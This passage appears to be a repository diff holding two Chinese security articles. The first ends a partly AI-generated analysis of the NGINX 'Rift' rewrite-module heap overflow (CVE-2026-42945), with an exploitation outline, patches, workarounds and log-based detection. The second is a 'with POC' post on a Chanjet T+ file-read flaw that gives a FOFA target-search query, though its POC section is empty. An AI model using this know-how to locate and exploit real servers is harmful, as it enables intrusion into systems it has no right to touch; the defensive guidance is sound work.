然而，如果目标系统由于特定的历史遗留原因、兼容性约束、特殊的调试配置，或是某些极度精简的物联网（IoT）固件/老旧嵌入式环境中被人为或被迫**禁用了 ASLR**
|
||||
（例如配置了 sysctl kernel.randomize_va_space=0
|
||||
）。
|
||||
|
||||
在此类未受 ASLR 保护的脆弱环境中，内存的分配模式变得相对静态和确定。Depth First 平台发布的概念验证（PoC）代码成功展示了，在关闭 ASLR 后，攻击者可以通过高度复杂的堆风水（Heap Grooming）技巧，利用合法的请求预先占据特定的堆孔洞，使得目标被覆写的关键回调结构精确落在漏洞溢出覆盖的物理范围之内 。通过精确控制在 $1
|
||||
捕获变量中输入的字符构成和序列，最终实现对 NGINX 执行控制流的精准劫持，顺利完成无需任何身份验证的底层 Shell 获取，实现了真正意义上的灾难性突破 。
|
||||
### NGINX 内部的衍生漏洞矩阵
|
||||
|
||||
除了 NGINX Rift，F5 和开源社区在同一批次的补丁更新中，还集中修补了其他多个同样涉及内存破坏和逻辑错乱的安全漏洞，形成了一个规模庞大的“漏洞补丁包”：
|
||||
|
||||
|
||||
|
||||
|
||||
## 修复指南与纵深防御体系建设
|
||||
### 一、核心加固：软件升级
|
||||
- 根除 CVE-2026-42945 的唯一终极方案，是用修复了内部引擎转义差异缺陷的安全版本彻底替换脆弱代码。安全补丁通过引入更为一致的状态管理逻辑，确保在长度预估和实际拷贝阶段，对于 URI 逃逸字符的判定标准保持绝对统一。
|
||||
|
||||
- **对于原生的 NGINX Open Source 用户**
|
||||
：必须将系统平滑升级至 **1.30.1**
|
||||
（稳定分支）或 **1.31.0**
|
||||
（主线分支）以上版本 。
|
||||
|
||||
- **对于使用 NGINX Plus 订阅的商业用户**
|
||||
：根据生产环境当前固定的发行列车（Release Train），快速部署对应版本的官方安全修正包，包括 **R32 P6**
|
||||
、**R35 P2**
|
||||
或 **R36 P4**
|
||||
。
|
||||
|
||||
- **Linux 发行版软件包管理的跟进**
|
||||
：对于通过 apt
|
||||
或 yum
|
||||
等包管理器直接从发行版软件库安装 NGINX 的服务器。各主流操作系统社区已迅速响应。例如，Ubuntu 已为 26.04 LTS (resolute) 推送了 1.28.3-2ubuntu1.1
|
||||
，为 24.04 LTS (noble) 提供了 1.24.0-2ubuntu7.8
|
||||
的安全迭代 ；而 Alma Linux 生态圈内，版本 8、9、10 的用户需立刻更新到诸如 nginx-1.14.1-9.el8.10.alma.1
|
||||
等包含了向上移植（Backport）代码的新编译包 。在利用包管理器升级后，**必须手动执行重启命令（如 systemctl restart nginx），单纯的重载（reload）配置无法彻底替换内存中正在运行的脆弱二进制核心程序**
|
||||
。
|
||||
|
||||
### 二、云原生治理：Kubernetes Ingress-NGINX
|
||||
|
||||
由于 Kubernetes 官方维护的 ingress-nginx
|
||||
核心控制器项目当前处于已归档停止推进的状态，其最终正式版控制器镜像内部锁死并静态编译的仍然是易受攻击的 NGINX 1.27.1 版本 。这是极为危险的供应链安全陷阱：即使系统管理员在承载集群计算节点的宿主机操作系统上更新了 NGINX 的 RPM 或 DEB 包，也对运行在容器内部的控制器进程毫无帮助。
|
||||
|
||||
**应急审计与规避措施：**
|
||||
- 集群管理员必须进入特定的 Pod 内部执行诊断命令，直接质询编译二进制文件的版本状态：kubectl exec -n ingress-nginx <controller-pod> -- /nginx-ingress-controller --version
|
||||
。
|
||||
|
||||
- **战略性架构剥离**
|
||||
：借此安全事件为契机，加速淘汰陈旧的 Ingress 架构，全面向更为现代、安全解耦的 Kubernetes Gateway API 实施规范演进 。
|
||||
|
||||
- **短效替代品（Fork 方案）**
|
||||
：在架构平移完成前，对于无法忍受业务断档的企业，建议将其入口控制器的基础镜像临时替换为由社区积极维护、并且及时合并了上游最新安全补丁（1.30.1+ 核心）的分支项目源（例如 Forkline 项目发布的分支镜像）。
|
||||
|
||||
### 三、不升级情况下的临时措施
|
||||
|
||||
**核心思路：瓦解触发条件链**
|
||||
。因为该溢出极其依赖特定语法符号的堆叠，破坏其中任何一环，都能让漏洞的“预分配与实际执行错位”现象不再发生。
|
||||
1. **全面使用命名捕获替代未命名系统捕获**
|
||||
： 这是最为推荐且影响最小的手段。安全团队需要利用自动化脚本工具，对全网范围内所有的 nginx.conf
|
||||
及其被包含子配置文件进行地毯式扫描，搜索类似 (.*)
|
||||
这种依赖 $1
|
||||
, $2
|
||||
被动赋值的原始正则表达式。 随后，将其全部重构为带有显式名称标识的捕获组，例如使用 (?<my_custom_name>.*)
|
||||
语法，并在后续的重写路径中显式调用 $my_custom_name
|
||||
。这一语法层面的细微变化，足以改变内部脚本引擎在参数解析时的作用域边界和状态传递链条，完美规避底层缺陷 。
|
||||
|
||||
脆弱的配置模式（切勿再使用）：
|
||||
```
|
||||
rewrite ^/api/(.*)$ /v2/api.php?query=$1;set $endpoint "api_v2";
|
||||
```
|
||||
|
||||
安全配置模式：
|
||||
```
|
||||
# 将被动的 $1 升级为具有隔离性的命名捕获 <apipath>rewrite ^/api/(?<apipath>.*)$ /v2/api.php?query=$apipath;set $endpoint "api_v2";
|
||||
```
|
||||
|
||||
|
||||
1. **打破指令链枷锁**
|
||||
：如果业务重写规则的复杂度允许，可以直接将替换字符串中的问号（?
|
||||
）剔除，或者拆解紧接在其后的 set
|
||||
或 if
|
||||
指令，彻底阻断触发执行第二次评估渲染环境所需的“连击（Combo）”条件 。
|
||||
|
||||
### 四、动态监测
|
||||
|
||||
如果组织环境内部依然存留着使用脆弱配置且未及更新的 NGINX 实例，那么在被动防御系统上建立高敏态势感知规则是抵御攻击的最后一道壁垒。
|
||||
- **建立高敏感的崩溃信标（Crash Beacons）**
|
||||
：基于此漏洞极其稳定地引发进程终止的特性，防守方应在 SIEM（安全信息和事件管理系统）、Logstash 或集中式的可观测性平台上部署特殊的检测启发式规则。一旦通过模式匹配识别到 NGINX 错误日志中开始大量、规律性地浮现诸如 worker process exited on signal 11
|
||||
或类似指向 SIGSEGV
|
||||
断流的关键事件报错，且同一时间维度的 HTTP 访问日志中伴随出现源自特定 IP 范围、含有大量超常编码字符（如冗长的未编码 %
|
||||
或 +
|
||||
串列）的异常请求，应当立即触发红色预警响应协议，拉黑关联攻击源，防止针对目标基础设施制造持久化的拒绝服务灾难 。
|
||||
|
||||
- **系统底层防御基线红线审查**
|
||||
：安全运维工程师必须针对所有承载着对公网暴露（Internet-facing）NGINX 实例的核心服务器及虚机容器，执行底层的基线回溯审查。重点审查操作系统的地址空间布局随机化（ASLR）核心状态（通过确认 sysctl kernel.randomize_va_space
|
||||
返回值是否为默认的安全值 2
|
||||
）。如若发现任何因特殊的兼容性诉求、早期的环境隔离配置或是由于承载于不规范硬件上而人为导致 ASLR 完全禁用或被削弱的主机节点，必须将其安全修复优先级上提至最高紧急（P0）级别，因为只有在这类脆弱且无防护伞的环境下，NGINX Rift 漏洞才有可能被实打实地转化为接管系统的终极 RCE 杀伤链 。
|
||||
|
||||
说明：本文含AI生成内容
|
||||
#### 参考资料
|
||||
1. NGINX Rift (CVE-2026-42945): Patched nginx available in testing - AlmaLinux OS, accessed May 15, 2026, https://almalinux.org/blog/2026-05-13-nginx-rift-cve-2026-42945/
|
||||
|
||||
1. NGINX Rift: Achieving NGINX Remote Code Execution via an 18 ..., accessed May 15, 2026, https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability
|
||||
|
||||
1. CVE-2026-42945: NGINX Rewrite Heap Overflow Enables Remote DoS & Potential RCE, accessed May 15, 2026, https://socradar.io/blog/cve-2026-42945-nginx-rewrite-heap-overflow-dos-rce/
|
||||
|
||||
1. CVE-2026-42945 Detail - NVD, accessed May 15, 2026, https://nvd.nist.gov/vuln/detail/CVE-2026-42945
|
||||
|
||||
1. F5 patches 18-year-old AI-found 'Rift' vulnerability in NGINX web server, accessed May 15, 2026, https://www.itnews.com.au/news/f5-patches-18-year-old-ai-found-rift-vulnerability-in-nginx-web-server-625881
|
||||
|
||||
1. NGINX ngx_http_rewrite_module vulnerability CVE-2026-42945, accessed May 15, 2026, https://my.f5.com/manage/s/article/K000161019
|
||||
|
||||
1. Red Hat Security Api | Red Hat Customer Portal Labs, accessed May 15, 2026, https://access.redhat.com/hydra/rest/securitydata/cve
|
||||
|
||||
1. CVE-2026-42945 - Ubuntu, accessed May 15, 2026, https://ubuntu.com/security/CVE-2026-42945
|
||||
|
||||
1. CVE-2026-42945: Critical NGINX Rewrite Flaw - SOC Prime, accessed May 15, 2026, https://socprime.com/blog/cve-2026-42945-critical-nginx-rewrite-flaw/
|
||||
|
||||
1. nginx security advisories, accessed May 15, 2026, https://nginx.org/en/security_advisories.html
|
||||
|
||||
1. NGINX CVE-2026-42945 (rewrite module) — check your version if you are below 1.30.1 or 1.31.0 : r/kubernetes - Reddit, accessed May 15, 2026, https://www.reddit.com/r/kubernetes/comments/1td0922/nginx_cve202642945_rewrite_module_check_your/
|
||||
|
||||
1. NGINX CVE-2026-42945 (ngx_http_rewrite_module) — patched boundary is 1.30.1 / 1.31.0 : r/devops - Reddit, accessed May 15, 2026, https://www.reddit.com/r/devops/comments/1td0es6/nginx_cve202642945_ngx_http_rewrite_module/
|
||||
|
||||
1. oss-security - NGINX ngx_http_rewrite_module vulnerability CVE-2026-42945 - Openwall, accessed May 15, 2026, https://www.openwall.com/lists/oss-security/2026/05/13/7
|
||||
|
||||
1. NGINX Rift - depthfirst, accessed May 15, 2026, https://depthfirst.com/nginx-rift
|
||||
|
||||
1. rud.is - "In God we trust. All others must bring data", accessed May 15, 2026, https://rud.is/b/
|
||||
|
||||
1. 18-Year-Old NGINX Rewrite Module Flaw Enables Unauthenticated DoS and Potential RCE, accessed May 15, 2026, https://orca.security/resources/blog/nginx-rewrite-module-vulnerability-cve-2026-42945/
|
||||
|
||||
1. CVE-2026-42945 - Debian Security Tracker, accessed May 15, 2026, https://security-tracker.debian.org/tracker/CVE-2026-42945
|
||||
|
||||
1. CVE-2026-42945 in NGINX Plus, accessed May 15, 2026, https://vuldb.com/cve/CVE-2026-42945
|
||||
|
||||
1. NGINX Rift: an 18-year-old flaw in the world's most deployed web server just came to light, accessed May 15, 2026, https://securityaffairs.com/192132/hacking/nginx-rift-an-18-year-old-flaw-in-the-worlds-most-deployed-web-server-just-came-to-light.html
|
||||
|
||||
1. nginxの18年間直らなかった脆弱性 - Zenn, accessed May 15, 2026, https://zenn.dev/catatsuy/scraps/77051a65f37706
|
||||
|
||||
1. Releases | NGINX Documentation, accessed May 15, 2026, https://docs.nginx.com/nginx/releases/
|
||||
|
||||
1. CVE-2026-42946 — Nginx Open Source+1 | dbugs, accessed May 15, 2026, https://dbugs.ptsecurity.com/vulnerability/PT-2026-40682
|
||||
|
||||
1. Linux.se :Allt om Linux – på svenska., accessed May 15, 2026, https://www.linux.se/
|
||||
|
||||
1. CVE-2026-43500: Dirty Frag Linux Priv Esc Flaw, accessed May 15, 2026, https://socprime.com/blog/cve-2026-43500-and-cve-2026-43284-analysis/
|
||||
|
||||
1. Cybersecurity News - Western Illinois University, accessed May 15, 2026, https://www.wiu.edu/cybersecuritycenter/cybernews.php
|
||||
|
||||
1. AI agent finds 18-year-old remote code execution flaw in Nginx, accessed May 15, 2026, https://www.csoonline.com/article/4171437/ai-agent-finds-18-year-old-remote-code-execution-flaw-in-nginx.html
|
||||
|
||||
1. depthfirst | Autonomous Security from Design to Production, accessed May 15, 2026, https://depthfirst.com/
|
||||
|
||||
1. How AngelList Built an AI-Native Security Program with depthfirst, accessed May 15, 2026, https://depthfirst.com/case/how-angellist-built-an-ai-native-security-program-with-depthfirst
|
||||
|
||||
1. depthfirst Secrets Security, accessed May 15, 2026, https://depthfirst.com/secrets
|
||||
|
||||
1. External Cybersecurity News - Columbia Basin College, accessed May 15, 2026, https://www.columbiabasin.edu/learn/discover-your-path/computer-science/cyber-security/external-cyber-security-newsfeeds.html
|
||||
|
||||
1. Cybersecurity's ChatGPT Moment - depthfirst, accessed May 15, 2026, https://depthfirst.com/post/cybersecuritys-chatgpt-moment
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
# 畅捷通T+ GLSyncService.asmx接口存在任意文件读取漏洞 附POC
|
||||
2026-10-19更新
|
||||
2026-10-19更新 南风漏洞复现文库 2026-10-19 15:34
|
||||
|
||||
|
||||
|
||||
#
|
||||
|
||||
免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
|
||||
## 1. 畅捷通T+ 简介
|
||||
|
||||
畅捷通T+专属云适用于需要一体化管理的企业，财务管理、业务管理、零售管理、生产管理、物流管理、移动仓管、营销管理、委外加工等人财货客一体化管理。
|
||||
## 2.漏洞描述
|
||||
|
||||
畅捷通T+专属云适用于需要一体化管理的企业,财务管理、业务管理、零售管理、生产管理、物流管理、移动仓管、营销管理、委外加工等人财货客一体化管理。畅捷通T+ GLSyncService.asmx接口存在任意文件读取漏洞。
|
||||
|
||||
CVE编号:
|
||||
|
||||
CNNVD编号:
|
||||
|
||||
CNVD编号:
|
||||
## 3.影响版本
|
||||
|
||||
畅捷通T+
|
||||
|
||||
|
||||
畅捷通T+ GLSyncService.asmx接口存在任意文件读取漏洞
|
||||
## 4.fofa查询语句
|
||||
|
||||
app="畅捷通-TPlus"
|
||||
## 5.漏洞复现
|
||||
|
||||
|
||||
|
||||
返回的数据包是base64编码
|
||||
|
||||
## 6.POC&EXP
|
||||
|
||||
本期漏洞及往期漏洞的批量扫描POC及POC工具箱已经上传知识星球：南风网络安全
|
||||
1: 更新poc批量扫描软件，承诺，一周更新8-14个插件吧，我会优先写使用量比较大程序漏洞。
|
||||
2: 免登录，免费fofa查询。
|
||||
3: 更新其他实用网络安全工具项目。
|
||||
4: 免费指纹识别，持续更新指纹库。
|
||||
5: Nuclei脚本。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 7.整改意见
|
||||
|
||||
目前厂商尚未提供相关漏洞补丁链接，请关注厂商主页及时更新： https://www.chanjet.com/
|
||||
## 8.往期回顾
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
[Atlassian Jira存在任意文件读取漏洞CVE-2026-21589 附POC](https://mp.weixin.qq.com/s?__biz=MzIxMjEzMDkyMA==&mid=2247490884&idx=1&sn=5a1b72d46976e6746a5fd3f3361faffa&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
Reference in new issue
Block a user